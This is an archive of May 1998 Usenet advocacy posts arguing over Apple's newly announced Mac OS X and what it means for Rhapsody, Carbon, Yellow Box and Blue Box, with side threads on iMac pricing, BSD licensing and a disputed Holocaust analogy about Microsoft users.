the Blue Box (Which incidentally, is a Macintosh emulator that runs under
Rhapsody) it will also have the OpenStep Application Framework and
Foundation
Framework. As for the rest of it, like the BSD 4.4 kernal code and the
UNIX
command-line stuff, it's there, it's working, so why remove it?
I haven't seen any surprises at all in this move. Everyone who saw the
Blue
Box told apple that what the world really needed was a way for the Mac apps
to run as full-blown Mach tasks in their own right, not in an emulator
where
they could still clobber each other. They went ahead and did what they
were
asked.
For my part, I intend to keep writing code with the OpenStep tools, since I
want the productivity gain. When I swtiched from Macintosh to NEXTSTEP
seven
years ago, the big shock was how much code I didn't *have* to write.
-jcr
Thanks for clearly up the misconceptions concerning MacOS X for so many
people. I am not a programmer/developer, but I immediately understand where
Jobs is going with this strategy.* MacOS X is Rhapsody*. Why can't people,
(especially programmers) see this simple fact. You can program using the
Yellowbox APIs or you can program using the new Mac APIs (Carbon). Seems
very simple to me.
later,
Soup
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 12 May 1998 13:02:00 -0700
Organization: Primenet (602)416-7000
Message-ID: <6ja9ro$nkq@nntp02.primenet.com>
References: <ericb-1105981718430001@132.236.171.104> <6j8bmd$t6n@nntp02.primenet.com> <andyba-ya02408000R1205981141470001@news>
Andy Bates <andyba@corp.webtv.net> wrote:
: In article <6j8bmd$t6n@nntp02.primenet.com>, John Jensen
: <jjens@primenet.com> wrote:
: > Don't I get credit for calling it in August of '97?
: Is anyone else scared that this guy keeps his postings from a year ago?
You can look up anyone's postings at www.dejanews.com, of course I could
be an "advocate" and forget my postings as I adopt the MacOS dilusion of
the month.
John
From: "Todd Heberlein" <todd@NetSQ.com>
Newsgroups: comp.sys.next.advocacy
Subject: Lots of misinformation
Date: 12 May 1998 20:16:36 GMT
Organization: Net Squared, Inc.
Message-ID: <01bd7de2$cfc7f170$04387880@test1>
I hope that at the end of WWDC someone writes a nice summary of what
Apple's real direction actually is. Right now I am reading story after
story and post after post of contradictory information.
I guess I will sit here impatiently until the truth is revealed.
Reminds me of the confusion following the sinking of the Titanic. I
have several newpaper articles citing that the survivors were mainly
women and children. In the end the actual counts for survivors were:
men 335
women 314
children 54
Todd... just waiting for the truth
From: Steve Kellener <skellener@earthlink.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: WWDC according to New York Times
Date: Tue, 12 May 1998 13:08:07 +0100
Organization: EarthLink Network, Inc.
Message-ID: <35583B9C.298B@earthlink.net>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <stone-ya02408000R0505980240210001@news.enetis.net> <6inoup$ejt$1@gte2.gte.net> <rmcassid-0505981303570001@dante.eng.uci.edu> <6ir7ua$14g$1@nnrp1.dejanews.com> <rmcassid-0705980005120001@dialin33419.slip.uci.edu> <6ivv73$38k$1@nnrp1.dejanews.com> <rmcassid-0905981831450001@dialin9013.slip.uci.edu> <6j4gep$l28$1@nnrp1.dejanews.com> <rmcassid-1105981238190001@dante.eng.uci.edu> <6j8umq$qvn@chile.earthlink.net> <IfW51.1190$0A3.5351018@news.itd.umich.edu>
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NY Times has it's head up it's ass.
From: rriley@yahoo.com (Rex Riley)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
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References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <B17CAD54-99FF@206.165.43.2>
<ericb-1105981902130001@132.236.171.104> <3557A1DE.17A6@earthlink.net>
<*johnnyc*-1205981218300001@rklein.psychology.dal.ca> <drcohen-1205981218210001@sjc-ca6-09.ix.netcom.com>
Message-ID: <%k261.1934$sy4.3477418@news.rdc1.sdca.home.com>
Date: Tue, 12 May 1998 20:31:55 GMT
NNTP-Posting-Date: Tue, 12 May 1998 13:31:55 PDT
Organization: @Home Network
In <drcohen-1205981218210001@sjc-ca6-09.ix.netcom.com> Dennis R. Cohen wrote:
>
> Well, I've read over 50 of the diatribes going through this thread and
> noone yet has mentioned that Carbon bears an astonishing resemblence to
> something that has been around a little while, CodeWarrior Latitude.
> Latitude reimplements a significant percentage of the MacOS APIs for the
> unix host environment (Rhapsody, OpenLook, IRIX, ...) so that you can take
> your Mac application source code, recompile and relink after making the
> minimal changes which were pointed out via the Metrowerks utility that
> scanned your source and told you what calls were supported and which were
> not. At the Metrowerks keynote today, they're showing the CodeWarrior IDE
> (written in PowerPlant) running on Rhapsody DR2.
>
So? What's your point? Buy MTWKF as an acquisition? Or that MTWKF just
watched their technology copied by Apple? Or are you intimating that Mac runs
fine on Unix without supporting extensions at the lower levels of unix?
-r
From: "Todd Heberlein" <todd@NetSQ.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Nobody's screwed! (was: Apple screws Rhapsody *and* Mac owners?)
Date: 12 May 1998 20:16:25 GMT
Organization: Net Squared, Inc.
Message-ID: <01bd7de2$cca75080$04387880@test1>
References: <ericb-1105981718430001@132.236.171.104> <Esu12F.2yG@micmac.com> <slrn6lgnva.l2e.sal@panix3.panix.com>
Salvatore Denaro <sal@panix3.panix.com> wrote
> On Tue, 12 May 1998 07:06:15 GMT, Michel Coste <nospam@micmac.com>
wrote:
> >It seems clear to me that carbon apps will ship for Intel...
>
> Huh? What make you think that?
>
> From what I read, Carbon is PPC only.
o From Phil Schiller, Apple's VP of Worldwide Product Marketing: MacOS
X us designed for the PowerPC G3 as well as *forthcoming RISC
processors*. [1] (note, "stars" are mine).
o According to Wired, Apple says " Mac OS X focuses only on the PowerPC
G3 architecture" [2].
o Apple's MacOS X web page states that it "will be fully optimized for
Apple's PowerPC G3 based computers", but it does not say anything
(negative or positive) about other processors [3].
o From MacWeek, "OS X will run only on PowerPC G3 machines" [4].
My opinion... it will be several days before we reach consensus on the
truth behind MacOS X, its relationship with Intel, and its relationship
with YellowBox/OpenStep.
[1] http://www.zdnet.com/macweek/mw_1219/nw_wwdcexec.html
[2] http://www.wired.com/news/news/technology/story/12247.html
[3] http://developer.apple.com/macosx/
[4] http://www.zdnet.com/macweek/mw_1219/nw_wwdcjobs.html
From: news@starfish.nu (Iain Rowan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Tue, 12 May 1998 20:57:08 GMT
Organization: none
Message-ID: <355b5554.4335135@nntp.netcomuk.co.uk>
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On 8 May 1998 19:31:12 GMT, jrudd@cygnus.com (John Rudd) wrote:
>The sheepish users aren't innocent. They're as guilty as the German citizens
>who knew what was happening to the Jews and quietly allowed it to happen.
>(to be fair, not all of the citizens knew.. but you can't really make a
>credible claim that the citizens who lived in the cities where there were
>camps didn't know) (And I don't mean guilty of murder, I mean they are as
>guilty as MS, if not more so.. in the same way that those citizens are/were
>as guilty as the nazi's who did the actual killing...
>MS-users:MS::Holocaust-aware-German-citizens:Nazi's)
I think that using the Holocaust as an analogy in an argument about
computer operating systems is nature's way of telling you that you
really need to get out a bit more.
Or alternatively, I suppose you could genuninely believe that choice
of OS establishes as great a burden of guilt as complicity in mass
murder and genocide, in which case, on behalf of the rest of the
world, please stay in more.
--
Iain Rowan
news@starfish.nu
Message-ID: <3558CA19.693D@sympatico.ca>
From: Pete Casso <petecassostein@sympatico.ca>
Organization: Frogstein and Birdstein Productions
MIME-Version: 1.0
Newsgroups: comp.sys.mac.portables,comp.sys.mac.hardware,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple Should GET A GOOD LOW END POWERBOOK!!
References: <6it738$ceg$1@newsfep4.sprintmail.com> <Barry-ya02408000R0705982252550001@nntp.netgate.net> <6ivef6$ntb$1@newsfep2.sprintmail.com> <6ivm1r$9un$1@larry.admin.phil.uu.nl> <joe.ragosta-0905981301430001@elk37.dol.net> <SnowSim-1105980159280001@blv-ux100-ip3.nwnexus.net> <6j9488$e9u$1@reader1.reader.news.ozemail.net>
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Date: Tue, 12 May 1998 21:15:38 GMT
NNTP-Posting-Date: Tue, 12 May 1998 17:15:38 EDT
> Do you think the iMac would sell well at $1299? I think it would sell
> as well as any of their regular stuff (or better) - so it'll keep their
> production line running at capacity right?
Related thought: will the regular G3/233MHz drop to those price levels
(or lower, because of no monitor) as well by the time iMac ships in
August? Any opinions? Buy a G3 now or wait until August?
Pete
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Steve Jobs fulfills fiduciary responsibility
Date: 12 May 1998 14:19:00 -0700
Organization: Primenet (602)416-7000
Message-ID: <6jaec4$r8i@nntp02.primenet.com>
References: <6ja5o4$k4$1@news.idiom.com> <B17DFB11-30D936@204.210.19.214>
William V. Campbell Jr. <wcampbe1@san.rr.com> wrote:
[...]
: Thanks for clearly up the misconceptions concerning MacOS X for so many
: people. I am not a programmer/developer, but I immediately understand where
: Jobs is going with this strategy.* MacOS X is Rhapsody*. Why can't people,
: (especially programmers) see this simple fact. You can program using the
: Yellowbox APIs or you can program using the new Mac APIs (Carbon). Seems
: very simple to me.
Well, not being a programmer you may not be aware of a few details. From
what I've seen, Apple has said that MacOS X will have a microkernal and
Yellow Box support from Rhapsody. OSes are built in layers, and the
microkernal and the Yellow Box APIs are respectively the lowest and
highest layers in the Rhapsody OS. There is a lot in-between, and the
nature of what's in-between defines your OS. As an example, there is
actually another OS out there right now that uses a microkernal and runs
Yellow Box ... it's called Windows NT. It has a microkernal and it has
the Yellow Box but it is not much like Rhapsody in any other respect.
There is much speculation currrently about how much of those middle layers
MacOS X will share with Rhapsody. As a developer, I would like to run a
MacOS that did retain the standard UNIX system calls. But to retain those
calls means to retain things like UNIX's /dev device structure as well as
the /bin, /etc and /usr file organizations. Apple _might_ try to do a
UNIX derivative that hid those things from most users, but I think it
might be easier for them to do a more Macish OS on top of a microkernal,
and supporting Yellow Box. That may not be a bad thing for users, when it
arrives, but I don't think it will be Rhapsody in the sense of BSD.
John
From: freek@phil.uu.nl (Freek Wiedijk)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 12 May 1998 23:29:04 +0200
Organization: Department of Philosophy, Utrecht University, The Netherlands
Message-ID: <6jaev0$h9c$1@larry.admin.phil.uu.nl>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <35586F01.243A7BE3@spamtoNull.com> <6ja6bu$m3n$1@nnrp1.dejanews.com>
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Stefano:
>Rhapsody buggy?
The blue box is setuid root. That's a _big_ bug.
Freek
(ah... it's a _fearture?)_
From: mcasse@rs6000.cmp.ilstu.edu (Matt Casselman)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Nobody's screwed! (was: Apple screws Rhapsody *and* Mac owners?)
Date: 12 May 1998 21:32:40 GMT
Organization: UHS
Message-ID: <mcasse-2708561354130001@line8047.ras.ilstu.edu>
References: <ericb-1105981718430001@132.236.171.104> <Esu12F.2yG@micmac.com>
In article <Esu12F.2yG@micmac.com>, nospam@micmac.com wrote:
> It seems clear to me that carbon apps will ship for Intel...
>
Carbon IS NOT on Intel. Apple has said that. Carbon is just the MacOS
not Yellow Box. Carbon is MacOS. Yellow Box is Yellow Box. RHapsody is
rhapsody. Really simple.
--
Matt Casselman
mcasse@rs6000.cmp.ilstu.edu
From: freek@phil.uu.nl (Freek Wiedijk)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 12 May 1998 23:35:46 +0200
Organization: Department of Philosophy, Utrecht University, The Netherlands
Message-ID: <6jafbi$hbb$1@larry.admin.phil.uu.nl>
References: <andyba-ya02408000R1205981228550001@news>
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Andy:
>They are. They are choosing MacOS X, which combines MacOS,
>Rhapsody and Carbon. So what's the problem?
Okay, okay, I surrender. Maybe it will be like you say.
It's still too hybrid to my taste _(and_ MacOS _and_ the 68k
emulator _and_ Mach _and_ BSD _and_ DPS _and_ NeXTstep _and_
the yellow box _and_ Carbon _and_ whatever Apple adds between
now and next year), but, well, _maybe_ it will be a nice,
non-top-heavy system.
Freek
From: nhughes@sunflower.com (Nathan Hughes)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Mon, 11 May 1998 21:33:35 GMT
Organization: is a sign of a sick mind.
Message-ID: <355b6dda.12226593@198.0.0.100>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <35586F01.243A7BE3@spamtoNull.com> <3558726E.E5C7C92D@no-spam.lmco.com> <6ja6ji$k4$3@news.idiom.com>
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On or about 12 May 1998 19:06:26 GMT, in comp.sys.mac.advocacy
jcr.remove@this.phrase.idiom.com (John C. Randolph) exclaimed :
<s>
>MacOS X is the same OS they were calling Rhapsody two days ago, and that's a
>Good Thing. The MacOS is way past its prime.
So you are saying for sure that macos10 will be cross platform and
applications written for it's principle API will only require a
recompile to work on 90% of computers? Those are Rhapsody's strongest
points when it comes to keeping apple relevant.
Nathan A. Hughes
MFA Candidate
The University Theatre KU
http://scenedesign.home.ml.org
From: mcasse@rs6000.cmp.ilstu.edu (Matt Casselman)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 12 May 1998 21:38:18 GMT
Organization: UHS
Message-ID: <mcasse-2708561359510001@line8047.ras.ilstu.edu>
References: <ericb-1105981718430001@132.236.171.104> <6j7t4a$v9r$1@crib.bevc.blacksburg.va.us> <6j9d8c$ft4$1@larry.admin.phil.uu.nl> <6j9egu$19r$1@crib.bevc.blacksburg.va.us>
In article <6j9egu$19r$1@crib.bevc.blacksburg.va.us>, nurban@vt.edu wrote:
> Completely wrong. _Both_ APIs will be available in Carbon, as has been
> specifically stated, both on Stepwise and by an Apple engineer here.
>
MacOS will have TWO, count them two, APIs: Carbon (MacOS) and Yellow Box
(NeXT). MacOS X is macOS on Mach.
--
Matt Casselman
mcasse@rs6000.cmp.ilstu.edu
From: mcasse@rs6000.cmp.ilstu.edu (Matt Casselman)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 12 May 1998 21:35:47 GMT
Organization: UHS
Message-ID: <mcasse-2708561357200001@line8047.ras.ilstu.edu>
References: <ericb-1105981718430001@132.236.171.104> <6j7t4a$v9r$1@crib.bevc.blacksburg.va.us> <markeaton-1105982335100001@209.86.154.31> <6j9eb8$197$1@crib.bevc.blacksburg.va.us>
In article <6j9eb8$197$1@crib.bevc.blacksburg.va.us>, nurban@vt.edu wrote:
> So, what, it's a clean-room reimplementation of a subset of the MacOS
> APIs?? This seems unlikely. It sounds more like they took the Blue
> Box on Mach and removed some of the cruft that would violate memory
> protection and prevent other Mach features from being fully enabled.
>
> But I could be grossly in error, and probably am. :) Anyone have
> hard information to the contrary?
Carbon is the MacOS APIs. MacOS X will be MacOS on top of Mach. Blue Box
is just another application on Rhapsody like SoftWindows is an app on
MacOS.
--
Matt Casselman
mcasse@rs6000.cmp.ilstu.edu
From: andy@amtmtc.demon.co.uk (Andy Templeman)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: The New Rhapsody (aka Mac OS X)
Date: Tue, 12 May 1998 22:46:48 +0100
Organization: Not Known
Message-ID: <1d8xs8m.mqho5znnswjkN@amtmtc.demon.co.uk>
Everybody is shouting about how Rhapsody has been 'Steved'.
From reading all that Apple has published - and this is only the start
of WWDC week - it strikes me that rhapsody has just been given a bit
more functionality.
Original Rhapsody Plan
(still to be released as CR1) Q3/98
+-----------------------+
| |
| Yellow |
|--------+ Box |
| Blue | |
| Box | |
| | +-----|
| | | DPS |
|-----------------------|
| Mach |
| |
+-----------------------+
New Rhapsody
(To be Released as Mac OS X) Q1/99 (beta) Q3/99 final
+-----------------------+-------+
| | C |
| Yellow | a |
|--------+ Box | r |
| Blue | | b |
| Box | | o |
| | +-----| n |
| | | DPS | |
|-------------------------------|
| Mach |
| |
+-------------------------------+
Now Openstep/ObjC advocates may say that this will de-emphasize their
favorite framework/environment and reduce it's use, since Adobe, MS,
Macromedia et al will be using carbon - after all that's why Apple have
done it - They will be able to show how good it, and programs created
with it, can be to a wider audience than they previously could, as the
runtime will be available on all Mac OS X computers.
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Steve Jobs fulfills fiduciary responsibility
Date: 12 May 1998 22:03:09 GMT
Organization: I don't think so
Message-ID: <slrn6lhhvf.mi.jason@jhste1.dyn.ml.org>
References: <6j9vr4$flq@nntp02.primenet.com> <jayfar-1205981546160001@downtown1-14.slip.netaxs.com>
Jayfar posted the following to comp.sys.mac.advocacy:
>BTW, that brings up an interesting, but irrelevant point of law. Were
>Apple incorporated in the state of Pennsylvania, his fiduciary
>responsibility would be not only to stockholders, but to other
>stakeholders, including employees, customers, and the community at-large.
>This came up locally in discussions of a recent mega-bank merger here.
Which explains why practically no one incorporates in Pennsylvania...
--
If FreeBSD actually did that, I would concede that FreeBSD was any more
"correct" than Linux is, but not even the FreeBSD people can justify
that kind of performance loss.
-- Linus Torvalds on comp.unix.advocacy
From: float@interport.net
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOS X: it's all over
Date: 12 May 1998 18:22:20 -0400
Organization: Interport Communications Corp.
Message-ID: <6jai2s$l3t$1@interport.net>
References: <6j8fet$k2n$1@walter.cs.umd.edu> <slrn6lfj6b.l9u.sal@panix3.panix.com> <6ja0u1$s5r$1@interport.net> <slrn6lh49e.l2e.sal@panix3.panix.com>
Salvatore Denaro (sal@panix3.panix.com) wrote:
: "Mac OS X" == Rhapsody CR2
Music to my ears, pun intended.
: And if they have Bass Ale on tap, I'll be at the LXNY meeting. :)
No Bass, according to the fellow I just spoke to on the phone, but the
announcement says "Several good beers are available."
I'll be wearing a SysAdmin magazine t-shirt, black with white text, jeans,
ponytail, no glasses 'cause I broke them earlier this week. My offer
stands.
--
Ben
<Just Another System Administrator>
From: jrudd@cygnus.com (John Rudd)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: 12 May 1998 21:56:09 GMT
Organization: Cygnus Solutions
Message-ID: <6jaghp$660$5@cronkite.cygnus.com>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net>
<6in44d$jt3@bgtnsc01.worldnet.att.net> <6iomt2$bac$1@ligarius.ultra.net>
<6isqdb$pa4$1@interport.net> <6isudr$39$1@interport.net>
<6it4lv$n71$2@cronkite.cygnus.com> <3552188E.471E@CONVEX.COM>
<35531f8a.0@209.136.2.9> <355346C7.AB5A6546@nstar.net>
<6ivmi0$822$1@cronkite.cygnus.com> <355b5554.4335135@nntp.netcomuk.co.uk>
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Cc: news@starfish.nu
In <355b5554.4335135@nntp.netcomuk.co.uk> Iain Rowan wrote:
> On 8 May 1998 19:31:12 GMT, jrudd@cygnus.com (John Rudd) wrote:
>
> >The sheepish users aren't innocent. They're as guilty as the German
citizens
> >who knew what was happening to the Jews and quietly allowed it to happen.
> >(to be fair, not all of the citizens knew.. but you can't really make a
> >credible claim that the citizens who lived in the cities where there were
> >camps didn't know) (And I don't mean guilty of murder, I mean they are as
> >guilty as MS, if not more so.. in the same way that those citizens
are/were
> >as guilty as the nazi's who did the actual killing...
> >MS-users:MS::Holocaust-aware-German-citizens:Nazi's)
>
> I think that using the Holocaust as an analogy in an argument about
> computer operating systems is nature's way of telling you that you
> really need to get out a bit more.
>
> Or alternatively, I suppose you could genuninely believe that choice
> of OS establishes as great a burden of guilt as complicity in mass
> murder and genocide, in which case, on behalf of the rest of the
> world, please stay in more.
>
>
>
Geesh.. don't you people know how to read an analogy?
That bit at the end of my quote says:
"MS Users are to MS what Holocost-aware-WWII-German-Citizens were to Nazi's"
I never ever stated that those who follow microsoft are as as guilty as those
who commit genocide. The end of what you quoted even specifically STATES
THAT.
What I was saying is that complicity makes one as guilty as the perpetrator..
You are either part of the solution or part of the problem. In that light,
just as those german citizens who allowed the holocost to happen without
standing up or speaking out against it are as guilty as the camp guards who
did the killing, those who don't speak out against MS, and buy into MS, or
even advocate MS products, are as guilty as MS becuase they empower and allow
MS to do the things that MS does. Hence my statement that I hadn't targeted
anyone who was innocent.. users are as guilty as the company that produces
the products they use, because their patronage funds whatever 'crime' is
being commited.
MS Users bare the same relationship _TO_MS_ (not to Nazi's) that the
complacent citizens of WWII Germany bear to the Nazi's they allowed to commit
genocide. In no way shape or form does that statement imply that MS users
nor MS are guilty of any sort of crime that is comparable to the Holocaust.
I wasn't belittling the holocaust at all, nor was I accusing MS and their
advocates/users of participating is something as bad as the holocaust... if
you think that, then you need to learn about the concept of analogy, because
_MY_ brain isn't the one malfunctioning on that issue.
At anyrate, I did appologize for my entire sub-thread yesterday. My
statements were extreme and beyond anything I would have posted (or even
considered) if it hadn't been such a draining week. (you could also stand to
learn about reading the course of the thread as it exists before replying to
earlier messages -- But then again, that's been a problem on Usenet since it
started)
(as for someone who implied that I was saying people should starve and become
homeless.. my followup also clarified that my statement was only meant to
address the cost of change [to a new platform].. if win98 dies and this
causes MS to die, the cost of changing to a new platform is not going to make
people homeless, nor cause them to starve to death)
--
John "kzin" Rudd jrudd@cygnus.com http://www.cygnus.com/~jrudd
Intel: Putting \"I want a pair of Daisy Eagle semi-auto paintball pistols
the backward in \in shoulder rigs. Who cares if you win the game as long
backward compatible\as you can John Woo as you dive over obstacles?" - anon
Message-ID: <3558CD7D.5327CAB0@unet.univie.ac.at>
Date: Wed, 13 May 1998 00:30:21 +0200
From: Christian Benesch <a9226931@unet.univie.ac.at>
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy
Subject: Re: Lots of misinformation
References: <01bd7de2$cfc7f170$04387880@test1>
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And absolutely right you are!
I was, for once, a little bored with the next-nostaligia news-groups, about
broken Cubes and how to install WriteNow on NS3.1. Even the one guy on
gnustep.announce trying to sell potency pills couldn't cheer me up.
So I said to myself, take a look at the future
what with the WWDC coming on and so forth, and what do I find?
All hell breaking loose over Job's not mentioning YellowBox.
Come on, you all!
Let's wait for the facts,shall we?
(Personally, I can't by any stretch of imagination believe that they are
going to trash OpenStep, or reduce it or whatever. I seemed the perfect
deal back last year, as they purchased a more or less ready-to-go system,
which they had but to adapt to the Mac and add some kernel-extensions. If
they want to roll out an additional red carpet for MacOS developers that's
fine with me.
Think about it: $400 million down the gutter, IT CAN'T BE!)
Christian Benesch...ready for the flames,because I have read them all
already
Todd Heberlein wrote:
> I hope that at the end of WWDC someone writes a nice summary of what
> Apple's real direction actually is. Right now I am reading story after
> story and post after post of contradictory information.
>
> I guess I will sit here impatiently until the truth is revealed.
>
> Reminds me of the confusion following the sinking of the Titanic. I
> have several newpaper articles citing that the survivors were mainly
> women and children. In the end the actual counts for survivors were:
> men 335
> women 314
> children 54
>
> Todd... just waiting for the truth
Date: Tue, 12 May 1998 15:37:09 -0700
From: jak@asu.edu (John Kestner)
Newsgroups: comp.sys.mac.portables,comp.sys.mac.hardware,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple Should GET A GOOD LOW END POWERBOOK!!
Message-ID: <jak-1205981537090001@dialupe232.tcsn.uswest.net>
References: <6it738$ceg$1@newsfep4.sprintmail.com> <Barry-ya02408000R0705982252550001@nntp.netgate.net> <6ivef6$ntb$1@newsfep2.sprintmail.com> <6ivm1r$9un$1@larry.admin.phil.uu.nl> <joe.ragosta-0905981301430001@elk37.dol.net> <SnowSim-1105980159280001@blv-ux100-ip3.nwnexus.net> <6j9488$e9u$1@reader1.reader.news.ozemail.net> <3558CA19.693D@sympatico.ca>
Organization: Blues Industrial
pDC?^;F326tzhE*=nKWFfDW[,&
In article <3558CA19.693D@sympatico.ca>, Pete Casso
<petecassostein@sympatico.ca> wrote:
>Related thought: will the regular G3/233MHz drop to those price levels
>(or lower, because of no monitor) as well by the time iMac ships in
>August? Any opinions? Buy a G3 now or wait until August?
Doubtless they'll drop, simply as a market correction. But they'll be more
than the iMac because of expansion, etc. The G3s are "Pro", and the iMac's
"Consumer" in the eyes of Apple.
john
--
We live only to discover beauty. All else is a form of waiting. - Kahlil Gibran
jak@asu.edu - http://www.public.asu.edu/~jkestner/
From: float@interport.net
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Followup-To: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Date: 12 May 1998 18:38:19 -0400
Organization: Interport Communications Corp.
Message-ID: <6jaj0r$m32$1@interport.net>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <B17CAD54-99FF@206.165.43.2> <35586C56.B68E310F@milestonerdl.com>
M Rassbach (mark@milestonerdl.com) wrote:
: Rex Riley wrote:
: Now, I'm not a lawyer, but I'll play one, today only, on the 'net.
: As *I* understand the BSD licence....they can take any code they want, they just
: have to CREDIT the source, and not use the source as part of a marketing scheme,
: plus hold them harmless.
I'm not a lawyer either, but I'm familiar with legal jargon, I've read the
BSD license, and I hang out on the FreeBSD mailing lists, and I am as
certain as I am of anything that using BSD code does not commit a
developer to releasing their code.
See the InterJet at http://www.whistle.com for a good example of a
non-open-source commercial project based on BSD code.
--
Ben
<Just Another System Administrator>
From: sheppard.gordon@relaynet.org (SHEPPARD GORDON)
Newsgroups: comp.sys.next.advocacy
Subject: Why not Carbon/Intel?
Date: Tue, 12 May 98 18:25:00 -0400
Organization: RelayNet, Brooklyn, NY (718) 692-2498
Distribution: World
Message-ID: <8EEF451.09B60071D7.uuout@relaynet.org>
Why is Apple not considering implementing Carbon on top of Rhapsody/Intel?
To do so makes the possibility that Carbon-clean apps could be ported to
Rhapsody/Intel, yes?
To not do this seems to doom Rhapsody/Intel's continued viability and support
(given Apple's statements that Rhapsody is a stepping stone to MacOS X), no?
Could someone clear this up? Or is it possible that a clear answer is not yet
forthcoming?
-> Alice4Mac 2.4.4 E QWK Hiya:05Nov94
From: rriley@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: The New Rhapsody (aka Mac OS X)
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References: <1d8xs8m.mqho5znnswjkN@amtmtc.demon.co.uk>
Message-ID: <zi461.1949$sy4.3542379@news.rdc1.sdca.home.com>
Date: Tue, 12 May 1998 22:45:51 GMT
NNTP-Posting-Date: Tue, 12 May 1998 15:45:51 PDT
Organization: @Home Network
In <1d8xs8m.mqho5znnswjkN@amtmtc.demon.co.uk> Andy Templeman wrote:
> Everybody is shouting about how Rhapsody has been 'Steved'.
>
> From reading all that Apple has published - and this is only the start
> of WWDC week - it strikes me that rhapsody has just been given a bit
> more functionality.
>
>
pssst... did you drink from the fountain? the punch in the hallway at WWDC?
Nevermind...
You obviously haven't been around the Steve long enough to appreciate the
comment. Let me phrase this as concise as possible. Developers just went
from a compile once - deploy elsewhere to a compile once - deploy once.
Granted it's neat and compelling what they've done. But add-on another 12
mos. to market and a single vendor deployment option and you've been "Steved".
It's the old elliptic NeXT sales cycle problem. Sell clients on your
applications and then turn around and resell them on proprietary hardware.
Cost of Sales = 2X
-r
From: Mike <zansk@navix.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOS X: it's all over
Date: Tue, 12 May 1998 17:39:19 -0600
Organization: Navix: Aliant Communications Internet Services
Message-ID: <3558DDA5.796E9D98@navix.net>
References: <6j8fet$k2n$1@walter.cs.umd.edu> <1d8w02l.8jafl315dbwx8N@sextans111.wco.com> <35583C88.10EC8748@milestonerdl.com>
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The way I see it, MacOS X will use the Rhapsody core (eg Mach kernel) and
Rhapsody technologies (eg preemptive mt, protected memory, fast stuff), and with
Mac OS APIs (carbon by then) and Yellow Box, and Apple will give the choice to
which API to use to develop, which ever you prefer (carbon supposedly for
current apps, yellow for cross-platform). And Rhapsody is not dead. And, UNIX
will still be there, since Mach will be. Come on, how realistic is it to get
the current Mac OS FULL protected memory, preemptive mt, and the such in a
year? Impossible. PowerPC native code? Same there. Rhapsody already has
those technologies, and the current MacOS as we know it (including 8.5) is
still a ways away. So why totally rewrite the MacOS when you can just use
Rhapsody core and smack a better, updated Mac API on top with the same
capabilities (except cross platform so far......who knows? it could happen) as
yellow applications, also smack the Yellow API on top, and the Java stuff. This
gets rid of the cludgy Blue box (who wants to run older apps on a different
screen) and also gets rid of older, misbehaving apps as well. Good move, and no
more complaining about the change. It's time to move on to the future!
Mike
M Rassbach wrote:
> Mike Paquette wrote:
>
> > Probably because a developer can be about 5x as productive using the
> > Yellow APIs. Existing apps get ported using Carbon.
>
> When will Apple tell 'us' about YellowBox, and what platforms it will run on?
>
> So far:
>
> OpenSTEP
> NT/OpenSTEP/Solaris/HP-UX
>
> And:
>
> YellowBox
> NT4/win95/MacOS8
> And one hell of a lot of rumors.
>
> NT4-MacOS8 isnt' too compelling
From: float@interport.net
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy
